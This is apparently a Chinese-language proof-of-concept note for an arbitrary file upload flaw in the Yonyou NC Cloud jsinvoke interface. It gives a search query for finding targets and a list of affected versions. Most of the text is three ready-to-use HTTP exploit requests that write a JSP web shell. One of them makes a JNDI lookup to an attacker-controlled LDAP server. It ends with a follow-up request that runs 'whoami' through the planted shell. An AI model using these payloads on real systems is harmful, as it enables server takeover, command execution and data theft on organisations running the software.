87 lines
2.3 KiB
Markdown
87 lines
2.3 KiB
Markdown
# 漏洞描述
|
||
|
||
用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器中,获取系统权限
|
||
|
||
app="用友-NC-Cloud"
|
||
|
||
# 影响版本
|
||
|
||
```
|
||
NC63、NC633、NC65NC Cloud1903、NC Cloud1909NC Cloud2005、NC Cloud2105、NC Cloud2111
|
||
```
|
||
|
||
POC1
|
||
|
||
```
|
||
POST /uapjs/jsinvoke/?action=invoke
|
||
Content-Type: application/json
|
||
|
||
{
|
||
"serviceName": "nc.itf.iufo.IBaseSPService",
|
||
"methodName": "saveXStreamConfig",
|
||
"parameterTypes": [
|
||
"java.lang.Object",
|
||
"java.lang.String"
|
||
],
|
||
"parameters": [
|
||
"${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
|
||
"webapps/nc_web/407.jsp"
|
||
]
|
||
}
|
||
```
|
||
|
||
POC2
|
||
|
||
```
|
||
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
|
||
Host:
|
||
Connection: Keep-Alive
|
||
Content-Length: 253
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
{
|
||
"serviceName": "nc.itf.iufo.IBaseSPService",
|
||
"methodName": "saveXStreamConfig",
|
||
"parameterTypes": [
|
||
"java.lang.Object",
|
||
"java.lang.String"
|
||
],
|
||
"parameters": [
|
||
"${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
|
||
"webapps/nc_web/301.jsp"
|
||
]
|
||
}
|
||
```
|
||
|
||
POC3
|
||
|
||
```
|
||
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
|
||
Host: 192.168.0.11:8089
|
||
Content-Length: 249
|
||
Accept: */*
|
||
|
||
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/1ndex.jsp"]}
|
||
```
|
||
|
||
访问1ndex.jsp,命令执行成功!
|
||
|
||
```
|
||
https://192.168.0.11:8089/1ndex.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream())
|
||
```
|
||
|
||
|
||
|
||
```
|
||
GET /1ndex.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream()) HTTP/1.1
|
||
Host: 192.168.0.11:8089
|
||
Cache-Control: max-age=0
|
||
Upgrade-Insecure-Requests: 1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: zh-CN,zh;q=0.9
|
||
Connection: close
|
||
```
|
||
|